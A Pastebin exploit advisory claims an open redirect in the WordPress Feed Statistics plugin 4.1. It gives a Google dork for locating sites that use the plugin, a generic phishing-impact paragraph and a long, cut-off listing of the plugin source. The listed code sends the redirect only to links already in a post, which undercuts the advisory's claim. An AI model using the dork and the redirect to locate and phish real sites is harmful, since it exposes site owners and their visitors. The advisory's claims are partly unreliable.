Advertisement
KingSkrupellos

WordPress 4.9.2 Feed-Statistics Plugins 4.1 Open Redirection

Mar 28th, 2019
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.59 KB | None | 0 0
  1. ##################################################################################
  2.  
  3. # Exploit Title : WordPress 4.9.2 WordPress-Feed-Statistics Plugins 4.1 Open Redirection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 29/03/2019
  7. # Vendor Homepage : chrisfinke.com
  8. # Software Download Link : downloads.wordpress.org/plugin/wordpress-feed-statistics.4.1.zip
  9. # Software Information Link : wordpress.org/plugins/wordpress-feed-statistics/
  10. # Software Affected Version : Plugin Version 4.1
  11. WordPress Version 3.2.1 - 3.3.1 - 3.5.1 - 3.5.2 - 3.7.4 - 4.9.2
  12. # Tested On : Windows and Linux
  13. # Category : WebApps
  14. # Exploit Risk : High
  15. # Google Dorks : inurl:/wp-content/plugins/wordpress-feed-statistics/
  16. # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
  17. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  18. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  19. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  20.  
  21. ##################################################################################
  22.  
  23. # Information About Software :
  24. ****************************
  25. Feed Statistics is a plugin that tracks statistics for your RSS/Atom feeds, including the number
  26.  
  27. of subscribers, which feed readers they’re using, which posts they’re viewing and which links they’re clicking on.
  28.  
  29. To display your subscriber count, use the Feed Statistics widget. The plugin also adds a “Feed Statistics” menu
  30.  
  31. to your dashboard. This section has four subsections: Feed Statistics (Options), Feed Readers, Post Views, and Clickthroughs.
  32.  
  33. It will take a few days for the subscriber count to become accurate, so you may want to wait a day or two
  34.  
  35. between installing/activating the plugin and publicly displaying your subscriber count.
  36.  
  37. ##################################################################################
  38.  
  39. # Impact :
  40. ***********
  41. WordPress 4.9.2 WordPress-Feed-Statistics Plugins 4.1 accepts a user-controlled input that specifies a link to
  42.  
  43. an external site, and uses that link in a Redirect. This simplifies phishing attacks. An http parameter may
  44.  
  45. contain a URL value and could cause the web application to redirect the request to the specified URL.
  46.  
  47. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and
  48.  
  49. steal user credentials. Because the server name in the modified link is identical to the original site, phishing
  50.  
  51. attempts have a more trustworthy appearance. Open redirect is a failure in that process that makes it possible
  52.  
  53. for attackers to steer users to malicious websites. This vulnerability is used in phishing attacks to get users to
  54.  
  55. visit malicious sites without realizing it. Web users often encounter redirection when they visit the Web site
  56.  
  57. of a company whose name has been changed or which has been acquired by another company.
  58.  
  59. Visiting unreal web page user's computer becomes affected by malware the task of which is to deceive
  60.  
  61. the valid actor and steal his personal data.
  62.  
  63. ##################################################################################
  64.  
  65. # Vulnerable Source Code : [ feed-statistics.php]
  66. ******************************************
  67. <?php
  68.  
  69. /*
  70. Plugin Name: Feed Statistics
  71. Plugin URI: http://www.chrisfinke.com/wordpress/plugins/feed-statistics/
  72. Description: Compiles statistics about who is reading your blog via a feed reader and what posts they're reading.
  73. Version: 4.1
  74. Author: Christopher Finke
  75. Author URI: http://www.chrisfinke.com/
  76. License: GPL2
  77. Domain Path: /languages/
  78. Text Domain: feed-statistics
  79. */
  80.  
  81. define( 'FEED_STATISTICS_VERSION', '4.1' );
  82.  
  83. class FEED_STATS {
  84. const LINK_REGEX = "(<a[^>]+href=)(['\"])([^\#][^'\"]+)(['\"])([^>]*>)";
  85.  
  86. static function init(){
  87. global $wpdb;
  88.  
  89. if ( isset( $_GET['feed-stats-post-id'] ) ) {
  90. if ( ! empty( $_GET['feed-stats-post-id'] ) && get_option( "feed_statistics_track_postviews" ) ) {
  91. $wpdb->insert(
  92. $wpdb->prefix . 'feed_postviews',
  93. array(
  94. 'post_id' => $_GET['feed-stats-post-id'],
  95. 'time' => date( 'Y-m-d H:i:s' )
  96. ),
  97. array(
  98. '%d',
  99. '%s'
  100. )
  101. );
  102. }
  103.  
  104. header("Content-Type: image/gif");
  105. echo base64_decode("R0lGODlhAQABAIAAANvf7wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==");
  106. die();
  107. }
  108.  
  109. add_action('admin_menu', array('FEED_STATS','add_options_menu'));
  110. add_action('admin_head', array('FEED_STATS','admin_head'));
  111.  
  112. if (get_option("feed_statistics_track_clickthroughs")) {
  113. add_filter('the_content', array('FEED_STATS','clickthrough_replace'));
  114. }
  115.  
  116. if (get_option("feed_statistics_track_postviews")) {
  117. add_filter('the_content', array('FEED_STATS','postview_tracker'));
  118. }
  119.  
  120. add_filter( 'plugin_action_links', 'feed_statistics_action_links', 10, 2 );
  121.  
  122. self::widget_register();
  123.  
  124. if ( isset( $_GET['feed-stats-url'] ) ) {
  125. $url = trim( base64_decode( $_GET['feed-stats-url'] ) );
  126.  
  127. if ( ! $url ) die;
  128.  
  129. if ( get_option( 'feed_statistics_track_clickthroughs' ) ) {
  130. $link_id = 0;
  131.  
  132. $wpdb->hide_errors();
  133.  
  134. $link_id = $wpdb->get_var(
  135. $wpdb->prepare(
  136. "SELECT id FROM " . $wpdb->prefix . "feed_links WHERE url=%s",
  137. $url
  138. )
  139. );
  140.  
  141. if ( ! $link_id ) {
  142. if (
  143. $wpdb->insert(
  144. $wpdb->prefix . 'feed_links',
  145. array(
  146. 'url' => $url,
  147. 'url_hash' => md5( $url )
  148. ),
  149. array( '%s', '%s' )
  150. )
  151. ) {
  152. $link_id = $wpdb->insert_id;
  153. }
  154. }
  155.  
  156. if ( $link_id ) {
  157. $wpdb->insert(
  158. $wpdb->prefix . 'feed_clickthroughs',
  159. array(
  160. 'link_id' => $link_id,
  161. 'time' => date( 'Y-m-d H:i:s' )
  162. ),
  163. array(
  164. '%d',
  165. '%s'
  166. )
  167. );
  168. }
  169. }
  170.  
  171. $wpdb->show_errors();
  172.  
  173. $whitelisted_redirect = false;
  174.  
  175. if ( isset( $_GET['feed-stats-url-post-id'] ) ) {
  176. $post = get_post( $_GET['feed-stats-url-post-id'] );
  177.  
  178. if ( $post ) {
  179. preg_match_all( "/" . self::LINK_REGEX . "/i", $post->post_content, $anchor_tags );
  180.  
  181. $links = $anchor_tags[3];
  182.  
  183. if ( in_array( $url, $links ) ) {
  184. $whitelisted_redirect = true;
  185. }
  186. }
  187. }
  188.  
  189. if ( ! $whitelisted_redirect ) {
  190. $redirection_warning = '<p>' . sprintf( __( 'The link you clicked is attempting to send you to %s If you do not want to visit that site, please close this page or return to the previous page. If you want to continue, copy and paste the URL above into your browser&#8217;s address bar.', 'feed-statistics' ) . '</p>', '</p><p><code>' . esc_html( $url ) . '</code></p><p>' );
  191.  
  192. wp_die( $redirection_warning, __( 'Redirection Notice', 'feed-statistics' ), array( 'back_link' => true, 'response' => 403 ) );
  193. }
  194. else {
  195. header( 'Location: ' . $url );
  196. die();
  197. }
  198. }
  199.  
  200. if ( isset( $_POST["feed_statistics_update"] ) ) {
  201. // Handle settings changes here so that the menus can show the right options.
  202. update_option( "feed_statistics_expiration_days", intval( $_POST["feed_statistics_expiration_days"] ) );
  203. update_option( "feed_statistics_track_clickthroughs", intval( isset( $_POST["feed_statistics_track_clickthroughs"] ) ) );
  204. update_option( "feed_statistics_track_postviews", intval( isset( $_POST["feed_statistics_track_postviews"] ) ) );
  205. }
  206.  
  207. load_plugin_textdomain( 'feed-statistics', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
  208.  
  209. if (FEED_STATS::is_feed_url()){
  210. $user_agent = $_SERVER["HTTP_USER_AGENT"];
  211.  
  212. if (!preg_match("/(Mozilla|Opera|subscriber|user|feed)/Uis", $user_agent)){
  213. if (strlen($user_agent) > 3){
  214. return;
  215. }
  216. }
  217.  
  218. if (!preg_match("/(readers|subscriber|user|feed)/Uis", $user_agent)){
  219. if (preg_match("/(slurp|bot|spider)/Uis", $user_agent)){
  220. return;
  221. }
  222. }
  223.  
  224. $m = array();
  225.  
  226. if (preg_match("/([0-9]+) subscriber/Uis", $user_agent, $m)) {
  227. // Not a typo below - should have been replacing $m[1], but screwed it up the first time around, so it's here to stay
  228. $identifier = str_replace($m[0], "###", $user_agent);
  229. $subscribers = $m[1];
  230. }
  231. else if (preg_match("/users ([0-9]+);/Uis", $user_agent, $m)) {
  232. // For Yahoo!'s bot
  233. $identifier = str_replace($m[1], "###", $user_agent);
  234. $subscribers = $m[1];
  235. }
  236. else if (preg_match("/ ([0-9]+) readers/Uis", $user_agent, $m)) {
  237. // For LiveJournal's bot
  238. $identifier = str_replace($m[1], "###", $user_agent);
  239. $subscribers = $m[1];
  240. }
  241. else {
  242. $identifier = $_SERVER["REMOTE_ADDR"];
  243. $subscribers = 1;
  244. }
  245.  
  246. $feed = $_SERVER["REQUEST_URI"];
  247.  
  248. if (!preg_match("/(\/|\.php|\?.*)$/Uis", $feed)){
  249. $feed .= "/";
  250. }
  251.  
  252. $results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM ".$wpdb->prefix."feed_subscribers WHERE identifier=%s AND feed=''", $identifier ) );
  253.  
  254. if ( ! empty( $results ) ) {
  255. $wpdb->update(
  256. $wpdb->prefix . 'feed_subscribers',
  257. array(
  258. 'subscribers' => $susbcribers,
  259. 'user_agent' => $user_agent,
  260. 'feed' => $feed,
  261. 'date' => date( 'Y-m-d H:i:s' )
  262. ),
  263. array(
  264. 'identifier' => $identifier,
  265. 'feed' => ''
  266. ),
  267. array(
  268. '%d',
  269. '%s',
  270. '%s',
  271. '%s'
  272. ),
  273. array(
  274. '%s',
  275. '%s'
  276. )
  277. );
  278. }
  279. else {
  280. $wpdb->query( $wpdb->prepare(
  281. "INSERT INTO " . $wpdb->prefix . "feed_subscribers SET `subscribers`=%d, `identifier`=%s, `user_agent`=%s, `feed`=%s, `date`=NOW() ON DUPLICATE KEY UPDATE `date`=NOW(), `user_agent`=VALUES(`user_agent`), `subscribers`=VALUES(`subscribers`)",
  282. $subscribers,
  283. $identifier,
  284. $user_agent,
  285. $feed
  286. ) );
  287. }
  288. }
  289. }
  290.  
  291. static function db_setup() {
  292. $installed_version = get_option( 'feed_statistics_version' );
  293.  
  294. if ( FEED_STATISTICS_VERSION != $installed_version ) {
  295. FEED_STATS::sql();
  296.  
  297. update_option( 'feed_statistics_version', FEED_STATISTICS_VERSION );
  298.  
  299. add_option( 'feed_statistics_track_clickthroughs', '0' );
  300. add_option( 'feed_statistics_track_postviews', '1' );
  301. add_option( 'feed_statistics_expiration_days', '3' );
  302. }
  303. }
  304.  
  305. static function sql() {
  306. global $wpdb;
  307.  
  308. $last_version = get_option( 'feed_statistics_version' );
  309.  
  310. switch ( $last_version ) {
  311. case '1.0':
  312. case '1.0.1':
  313. case '1.0.2':
  314. case '1.0.3':
  315. case '1.0.4':
  316. $sql = "ALTER TABLE `".$wpdb->prefix."feed_subscribers` ADD `user_agent` VARCHAR(255) NOT NULL DEFAULT ''";
  317. $wpdb->query($sql);
  318.  
  319. $sql = "CREATE TABLE IF NOT EXISTS `".$wpdb->prefix."feed_clickthroughs` (
  320. `id` INT(11) NOT NULL auto_increment,
  321. `link_id` INT(11) NOT NULL DEFAULT '0',
  322. `referrer_id` INT(11) NOT NULL DEFAULT '0',
  323. `time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
  324. PRIMARY KEY (id)
  325. ) ENGINE=MyISAM DEFAULT CHARSET=latin1";
  326. $wpdb->query($sql);
  327.  
  328. $sql = "CREATE TABLE IF NOT EXISTS `".$wpdb->prefix."feed_links` (
  329. `id` INT(11) NOT NULL auto_increment,
  330. `url` VARCHAR(255) NOT NULL DEFAULT '',
  331. PRIMARY KEY (`id`),
  332. UNIQUE KEY `url` (`url`)
  333. ) ENGINE=MyISAM DEFAULT CHARSET=latin1";
  334. $wpdb->query($sql);
  335.  
  336. $sql = "CREATE TABLE IF NOT EXISTS `".$wpdb->prefix."feed_referrers` (
  337. `id` INT(11) NOT NULL auto_increment,
  338. `url` VARCHAR(255) NOT NULL DEFAULT '',
  339. PRIMARY KEY (`id`),
  340. UNIQUE KEY `url` (`url`)
  341. ) ENGINE=MyISAM DEFAULT CHARSET=latin1";
  342. $wpdb->query($sql);
  343.  
  344. $sql = "CREATE TABLE IF NOT EXISTS `".$wpdb->prefix."feed_postviews` (
  345. `id` INT(11) NOT NULL auto_increment,
  346. `post_id` INT(11) NOT NULL DEFAULT '0',
  347. `time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
  348. PRIMARY KEY (id)
  349. ) ENGINE=MyISAM DEFAULT CHARSET=latin1";
  350. $wpdb->query($sql);
  351.  
  352. update_option("feed_statistics_track_clickthroughs", "0");
  353. update_option("feed_statistics_track_postviews", "1");
  354. case '1.1':
  355. case '1.1.1':
  356. case '1.1.2':
  357. $sql = "ALTER TABLE `".$wpdb->prefix."feed_subscribers` ADD `feed` VARCHAR( 120 ) NOT NULL AFTER `identifier`";
  358. $wpdb->query($sql);
  359.  
  360. $sql = "ALTER TABLE `".$wpdb->prefix."feed_subscribers` DROP PRIMARY KEY, ADD PRIMARY KEY (`identifier`, `feed`)";
  361. $wpdb->query($sql);
  362. case '1.2':
  363. case '1.3':
  364. $sql = "DROP TABLE `".$wpdb->prefix."feed_referrers`";
  365. $wpdb->query($sql);
  366.  
  367. $sql = "ALTER TABLE `".$wpdb->prefix."feed_clickthroughs` DROP `referrer_id`";
  368. $wpdb->query($sql);
  369. case '1.3.1':
  370. $sql = "ALTER TABLE `".$wpdb->prefix."feed_subscribers` CHANGE `feed` `feed` VARCHAR(120) NOT NULL";
  371. $wpdb->query($sql);
  372. case '1.3.2':
  373. case '1.4':
  374. case '1.4.1';
  375. case '1.4.2':
  376. case '1.4.3':
  377. case '1.5':
  378. // Seeing some errors about a 1000-byte key being too long. Go figure.
  379. $wpdb->query( "ALTER TABLE " . $wpdb->prefix . "feed_links DROP KEY url" );
  380. $wpdb->query( "ALTER TABLE " . $wpdb->prefix . "feed_links ADD url_hash VARCHAR(32) NOT NULL" );
  381. $wpdb->query( "UPDATE " . $wpdb->prefix . "feed_links SET url_hash=MD5(url)" );
  382. $wpdb->query( "ALTER TABLE " . $wpdb->prefix . "feed_links ADD KEY url_hash (url_hash)" );
  383. break;
  384. default:
  385. // Full SQL of current schema.
  386.  
  387. $wpdb->query( "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix."feed_links
  388. (
  389. id int(11) NOT NULL AUTO_INCREMENT,
  390. url_hash varchar(32) NOT NULL,
  391. url varchar(1000) NOT NULL,
  392. PRIMARY KEY (id),
  393. UNIQUE KEY url_hash (url_hash)
  394. ) ENGINE=MyISAM DEFAULT CHARSET=latin1"
  395. );
  396.  
  397. $wpdb->query( "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix."feed_postviews
  398. (
  399. id int(11) NOT NULL AUTO_INCREMENT,
  400. post_id int(11) NOT NULL DEFAULT '0',
  401. time datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  402. PRIMARY KEY (id)
  403. ) ENGINE=MyISAM DEFAULT CHARSET=latin1"
  404. );
  405.  
  406. $wpdb->query( "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix."feed_subscribers
  407. (
  408. subscribers int(11) NOT NULL DEFAULT '0',
  409. identifier varchar(255) NOT NULL DEFAULT '',
  410. feed varchar(120) NOT NULL,
  411. date datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  412. user_agent varchar(255) DEFAULT NULL,
  413. PRIMARY KEY (identifier,feed)
  414. ) ENGINE=MyISAM DEFAULT CHARSET=latin1"
  415. );
  416.  
  417. $wpdb->query( "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix."feed_clickthroughs
  418. (
  419. id int(11) NOT NULL AUTO_INCREMENT,
  420. link_id int(11) NOT NULL DEFAULT '0',
  421. time datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  422. PRIMARY KEY (id)
  423. ) ENGINE=MyISAM DEFAULT CHARSET=latin1"
  424. );
  425. break;
  426. }
  427. }
  428.  
  429. static function is_feed_url() {
  430. switch (basename($_SERVER['PHP_SELF'])) {
  431. case 'wp-rdf.php':
  432. case 'wp-rss.php':
  433. case 'wp-rss2.php':
  434. case 'wp-atom.php':
  435. case 'feed':
  436. case 'rss2':
  437. case 'atom':
  438. return true;
  439. break;
  440. }
  441.  
  442. if (isset($_GET["feed"])) {
  443. return true;
  444. }
  445.  
  446. if (preg_match("/^\/(feed|rss2?|atom|rdf)/Uis", $_SERVER["REQUEST_URI"])) {
  447. return true;
  448. }
  449.  
  450. if (preg_match("/\/(feed|rss2?|atom|rdf)\/?$/Uis", $_SERVER["REQUEST_URI"])){
  451. return true;
  452. }
  453.  
  454. return apply_filters( 'feed_statistics_is_feed_url', false );
  455. }
  456.  
  457. static function how_many_subscribers() {
  458. global $wpdb;
  459.  
  460. $results = $wpdb->get_results(
  461. $wpdb->prepare(
  462. "SELECT
  463. `subscribers`,
  464. CASE WHEN `subscribers` = 1 THEN `identifier` ELSE CONCAT(`identifier`, `feed`) END AS `ident`
  465. FROM " . $wpdb->prefix . "feed_subscribers
  466. WHERE
  467. (
  468. (`date` > %s)
  469. OR
  470. (
  471. LOCATE('###',`identifier`) != 0 AND
  472. `date` > %s
  473. )
  474. )
  475. ORDER BY `ident` ASC, `date` DESC",
  476. date( "Y-m-d H:i:s", time() - ( 60 * 60 * 24 * get_option( "feed_statistics_expiration_days" ) ) ),
  477. date( "Y-m-d H:i:s", time() - ( 60 * 60 * 24 * get_option( "feed_statistics_expiration_days" ) * 3 ) )
  478. )
  479. );
  480.  
  481. $s = 0;
  482.  
  483. if ( ! empty( $results ) ) {
  484. $current_ident = '';
  485.  
  486. foreach ( $results as $row ) {
  487. if ( $row->ident != $current_ident ) {
  488. $s += $row->subscribers;
  489. $current_ident = $row->ident;
  490. }
  491. }
  492. }
  493.  
  494. return intval( $s );
  495. }
  496.  
  497. static function add_options_menu() {
  498. add_menu_page( __( 'Feed Statistics Settings', 'feed-statistics' ), __( 'Feed Statistics', 'feed-statistics' ), 'publish_posts', basename(__FILE__), 'feed_statistics_feed_page' );
  499.  
  500. add_submenu_page( basename( __FILE__ ), __( 'Top Feeds', 'feed-statistics' ), __( 'Top Feeds', 'feed-statistics' ), 'publish_posts', 'feedstats-topfeeds', 'feed_statistics_topfeeds_page' );
  501. add_submenu_page( basename( __FILE__ ), __( 'Feed Readers', 'feed-statistics' ), __( 'Feed Readers', 'feed-statistics' ), 'publish_posts', 'feedstats-feedreaders', 'feed_statistics_feedreaders_page' );
  502.  
  503. if (get_option("feed_statistics_track_postviews"))
  504. add_submenu_page( basename( __FILE__ ), __( 'Post Views', 'feed-statistics' ), __( 'Post Views', 'feed-statistics' ), 'publish_posts', 'feedstats-postviews', 'feed_statistics_postviews_page' );
  505.  
  506. if (get_option("feed_statistics_track_clickthroughs"))
  507. add_submenu_page( basename( __FILE__ ), __( 'Clickthroughs', 'feed-statistics' ), __( 'Clickthroughs', 'feed-statistics' ), 'publish_posts', 'feedstats-clickthroughs', 'feed_statistics_clickthroughs_page' );
  508. }
  509.  
  510. static function clickthroughs_page(){
  511. global $wpdb;
  512.  
  513. ?>
  514. <div class="wrap">
  515. <div class="icon32" id="icon-options-general">
  516. <br />
  517. </div>
  518. <h2><?php esc_html_e( 'Most popular links in your feed (last 30 days)', 'feed-statistics' ); ?></h2>
  519. <p>
  520. <?php
  521.  
  522. if ( get_option( 'feed_statistics_track_clickthroughs' ) )
  523. esc_html_e( 'You currently have clickthrough tracking turned on.', 'feed-statistics' );
  524. else
  525. esc_html_e( 'You currently have clickthrough tracking turned off.', 'feed-statistics' );
  526.  
  527. ?>
  528. </p>
  529.  
  530. <table style="width: 100%;">
  531. <thead>
  532. <tr>
  533. <th>&nbsp;</th>
  534. <th style="width: 45%; text-align: left;"><?php esc_html_e( 'Outgoing Link', 'feed-statistics' ); ?></th>
  535. <th><?php esc_html_e( 'Clicks', 'feed-statistics' ); ?></th>
  536. <th style="width: 35%;">&nbsp;</th>
  537. </tr>
  538. </thead>
  539. <tbody>
  540. <?php
  541.  
  542. $wpdb->query(
  543. $wpdb->prepare(
  544. "DELETE FROM " . $wpdb->prefix . "feed_clickthroughs WHERE time < %s",
  545. date( "Y-m-d H:i:s", time() - ( 60 * 60 * 24 * 30 ) )
  546. )
  547. );
  548.  
  549. $results = $wpdb->get_results(
  550. $wpdb->prepare(
  551. "SELECT
  552. COUNT(*) AS `clicks`,
  553. `l`.`url` AS `link`
  554. FROM " . $wpdb->prefix . "feed_clickthroughs AS `c`
  555. LEFT JOIN `".$wpdb->prefix."feed_links` AS `l` ON `c`.`link_id`=`l`.`id`
  556. WHERE `c`.`time` > %s
  557. GROUP BY `c`.`link_id`
  558. ORDER BY `clicks` DESC",
  559. date( 'Y-m-d H:i:s', time() - ( 60 * 60 * 24 * 30 ) )
  560. )
  561. );
  562.  
  563. $i = 1;
  564.  
  565. if ( ! empty( $results ) ) {
  566. $max = $results[0]->clicks;
  567.  
  568. foreach ( $results as $row ) {
  569. $percentage = ceil( $row->clicks / $max * 100 );
  570.  
  571. ?>
  572. <tr>
  573. <td>
  574. <?php echo $i++; ?>
  575. </td>
  576. <td>
  577. <a href="<?php echo esc_url( $row->link ); ?>"><?php echo esc_url( $row->link ); ?></a>
  578. </td>
  579. <td>
  580. <?php echo $row->clicks; ?>
  581. </td>
  582. <td>
  583. <div class="graph" style="width: <?php echo $percentage; ?>%;">&nbsp;</div>
  584. </td>
  585. </tr>
  586. <?php
  587. }
  588. }
  589.  
  590. ?>
  591. </tbody>
  592. </table>
  593. </div>
  594. <?php
  595. }
  596.  
  597. static function topfeeds_page(){
  598. global $wpdb;
  599.  
  600. ?>
  601. <div class="wrap">
  602. <div class="icon32" id="icon-options-general">
  603. <br />
  604. </div>
  605. <h2><?php esc_html_e( 'Your most popular feeds', 'feed-statistics' ); ?></h2>
  606. <table style="width: 100%;">
  607. <thead>
  608. <tr>
  609. <th>&nbsp;</th>
  610. <th style="width: 50%; text-align: left;"><?php esc_html_e( 'Feed URL', 'feed-statistics' ); ?></th>
  611. <th style="text-align: left;"><?php esc_html_e( 'Subscribers', 'feed-statistics' ); ?></th>
  612. <th style="width: 35%;">&nbsp;</th>
  613. </tr>
  614. </thead>
  615. <tbody>
  616. <?php
  617.  
  618. $results = $wpdb->get_results(
  619. $wpdb->prepare(
  620. "SELECT
  621. `feed`,
  622. SUM(`subscribers`) `subscribers`
  623. FROM `".$wpdb->prefix."feed_subscribers`
  624. WHERE
  625. `feed` != ''
  626. AND
  627. (
  628. (`date` > %s)
  629. OR
  630. (
  631. LOCATE('###',`identifier`) != 0 AND
  632. `date` > %s
  633. )
  634. )
  635. GROUP BY `feed`
  636. ORDER BY `subscribers` DESC",
  637. date("Y-m-d H:i:s", time() - (60 * 60 * 24 * get_option("feed_statistics_expiration_days"))),
  638. date("Y-m-d H:i:s", time() - (60 * 60 * 24 * get_option("feed_statistics_expiration_days") * 3))
  639. )
  640. );
  641.  
  642. $feeds = array();
  643.  
  644. $i = 1;
  645.  
  646. if ( ! empty( $results ) ) {
  647. foreach ( $results as $feed ) {
  648. if ( ! isset( $max ) )
  649. $max = $feed->subscribers;
  650.  
  651. $percentage = ceil( $feed->subscribers / $max * 100 );
  652.  
  653. ?>
  654. <tr>
  655. <td><?php echo $i++; ?></td>
  656. <td style="width: 40%;">
  657. <a href="<?php echo esc_url( $feed->feed ); ?>"><?php echo esc_url( $feed->feed ); ?></a>
  658. </td>
  659. <td style="width: 15%;"><?php echo $feed->subscribers; ?></td>
  660. <td style="width: 40%;">
  661. <div class="graph" style="width: <?php echo $percentage; ?>%;">&nbsp;</div>
  662. </td>
  663. </tr>
  664. <?php
  665. }
  666. }
  667.  
  668. ?>
  669. </tbody>
  670. </table>
  671. </div>
  672. <?php
  673. }
  674.  
  675. static function postviews_page(){
  676. global $wpdb;
  677.  
  678. ?>
  679. <div class="wrap">
  680. <div class="icon32" id="icon-options-general">
  681. <br />
  682. </div>
  683. <h2><?php esc_html_e( 'Your most popular posts (last 30 days)', 'feed-statistics' ); ?></h2>
  684. <p>
  685. <?php
  686.  
  687. if ( get_option( 'feed_statistics_track_postviews' ) ) {
  688. if ( 1 == get_option( 'rss_use_excerpt' ) ) {
  689. printf( __( 'You have post view tracking turned on, but you have your feeds set to "Summary" mode. To track post views, you should select "Full text" mode on the <a href="%s">Reading settings</a> page.', 'feed-statistics' ), admin_url( 'options-reading.php' ) );
  690. }
  691. else {
  692. esc_html_e( 'You have post view tracking turned on.', 'feed-statistics' );
  693. }
  694. }
  695. else {
  696. esc_html_e( 'You have post view tracking turned off.', 'feed-statistics' );
  697. }
  698.  
  699. ?>
  700. </p>
  701. <table style="width: 100%;">
  702. <thead>
  703. <tr>
  704. <th>&nbsp;</th>
  705. <th style="width: 50%; text-align: left;"><?php esc_html_e( 'Post Title', 'feed-statistics' ); ?></th>
  706. <th style="text-align: left;"><?php esc_html_e( 'Views', 'feed-statistics' ); ?></th>
  707. <th style="width: 35%;">&nbsp;</th>
  708. </tr>
  709. </thead>
  710. <tbody>
  711. <?php
  712.  
  713. // Delete entries older than 30 days.
  714. $wpdb->query(
  715. $wpdb->prepare(
  716. "DELETE FROM " . $wpdb->prefix . "feed_postviews WHERE `time` < %s",
  717. date("Y-m-d H:i:s", time() - (60 * 60 * 24 * 30))
  718. )
  719. );
  720.  
  721. $results = $wpdb->get_results(
  722. $wpdb->prepare(
  723. "SELECT
  724. COUNT(*) AS `views`,
  725. `v`.`post_id`,
  726. `p`.`post_title` `title`,
  727. `p`.`guid` `permalink`
  728. FROM " . $wpdb->prefix . "feed_postviews AS `v`
  729. LEFT JOIN " . $wpdb->prefix . "posts AS `p` ON `v`.`post_id`=`p`.`ID`
  730. WHERE `v`.`time` > %s
  731. GROUP BY `v`.`post_id`
  732. ORDER BY `views` DESC
  733. LIMIT 20",
  734. date("Y-m-d H:i:s", time() - (60 * 60 * 24 * 30))
  735. )
  736. );
  737.  
  738. if ( ! empty( $results ) ) {
  739. $i = 1;
  740. $max = $results[0]->views;
  741.  
  742. foreach ( $results as $row ) {
  743. $percentage = ceil($row->views / $max * 100);
  744.  
  745. ?>
  746. <tr>
  747. <td><?php echo $i++; ?></td>
  748. <td><a href="<?php echo esc_url( $row->permalink ); ?>"><?php esc_html_e( $row->title ); ?></a></td>
  749. <td><?php echo $row->views; ?></td>
  750. <td>
  751. <div class="graph" style="width: <?php echo $percentage; ?>%;">&nbsp;</div>
  752. </td>
  753. </tr>
  754. <?php
  755. }
  756. }
  757.  
  758. ?>
  759. </tbody>
  760. </table>
  761. </div>
  762. <?php
  763. }
  764.  
  765. static function feedreaders_page(){
  766. global $wpdb;
  767.  
  768. ?>
  769. <div class="wrap">
  770. <div class="icon32" id="icon-options-general">
  771. <br />
  772. </div>
  773. <h2><?php esc_html_e( 'Top Feed Readers', 'feed-statistics' ); ?></h2>
  774. <?php
  775.  
  776. $expiration_days = get_option("feed_statistics_expiration_days");
  777.  
  778. $wpdb->query(
  779. $wpdb->prepare(
  780. "DELETE FROM " . $wpdb->prefix . "feed_subscribers WHERE `date` < %s",
  781. date( "Y-m-d H:i:s", time() - ( 60 * 60 * 24 * get_option( "feed_statistics_expiration_days" ) * 3 ) )
  782. )
  783. );
  784.  
  785. $results = $wpdb->get_results(
  786. $wpdb->prepare(
  787. "SELECT
  788. CASE
  789. WHEN
  790. LOCATE('###',`identifier`) != 0 THEN SUBSTRING(`identifier`, 1, LOCATE(' ',`identifier`))
  791. ELSE
  792. `user_agent`
  793. END AS `reader`,
  794. SUM(`subscribers`) `readers`
  795. FROM " . $wpdb->prefix . "feed_subscribers
  796. WHERE `date` > %s
  797. GROUP BY `reader`
  798. ORDER BY `readers` DESC",
  799. date("Y-m-d H:i:s", time() - (60 * 60 * 24 * get_option("feed_statistics_expiration_days")))
  800. )
  801. );
  802.  
  803. $readers = array();
  804.  
  805. if (!empty($results)){
  806. foreach ($results as $row){
  807. $reader = $row->reader;
  808.  
  809. $version = array();
  810.  
  811. if ($reader == '') {
  812. $reader = "Unknown (Pending)";
  813. }
  814. else if (preg_match("/Navigator\/([0-9abpre\.]+)/is", $reader, $version)){
  815. $reader = "Netscape Navigator ".$version[1];
  816. }
  817. else if (preg_match("/Opera\/([0-9abpre\.]+)/is", $reader, $version)){
  818. $reader = "Opera ".$version[1];
  819. }
  820. else if (preg_match("/Flock\/([0-9abpre\.]+)/is", $reader, $version)){
  821. $reader = "Flock ".$version[1];
  822. }
  823. else if (preg_match("/(Firefox|BonEcho|GranParadiso|Aurora|Minefield)\/([0-9abpre\.]+)/is", $reader, $version)) {
  824. $reader = "Mozilla ".$version[1]." ".$version[2];
  825. }
  826. else if (preg_match("/MSIE ([0-9abpre\.]+)/is", $reader, $version)){
  827. $reader = "Internet Explorer ".$version[1];
  828. }
  829. else if (preg_match("/RockMelt\/([^\s\.]+)/is", $reader, $version)) {
  830. $reader = "RockMelt ".$version[1];
  831. }
  832. else if (preg_match("/Chrome\/([^\s\.]+)/is", $reader, $version)) {
  833. $reader = "Chrome ".$version[1];
  834. }
  835. else if (preg_match("/Safari/is", $reader)) {
  836. $reader = "Safari";
  837. }
  838. else if (preg_match("/Gecko/Uis", $reader)) {
  839. $reader = "Other Mozilla browser";
  840. }
  841. else if (!preg_match("/Mozilla/Uis", $reader)){
  842. $reader = preg_replace("/[\/;].*$/Uis", "", $reader);
  843. }
  844. else {
  845. continue;
  846. }
  847.  
  848. foreach ($readers as $key => $d) {
  849. if ($d["reader"] == $reader){
  850. $readers[$key]["readers"] += $row->readers;
  851. continue 2;
  852. }
  853. }
  854.  
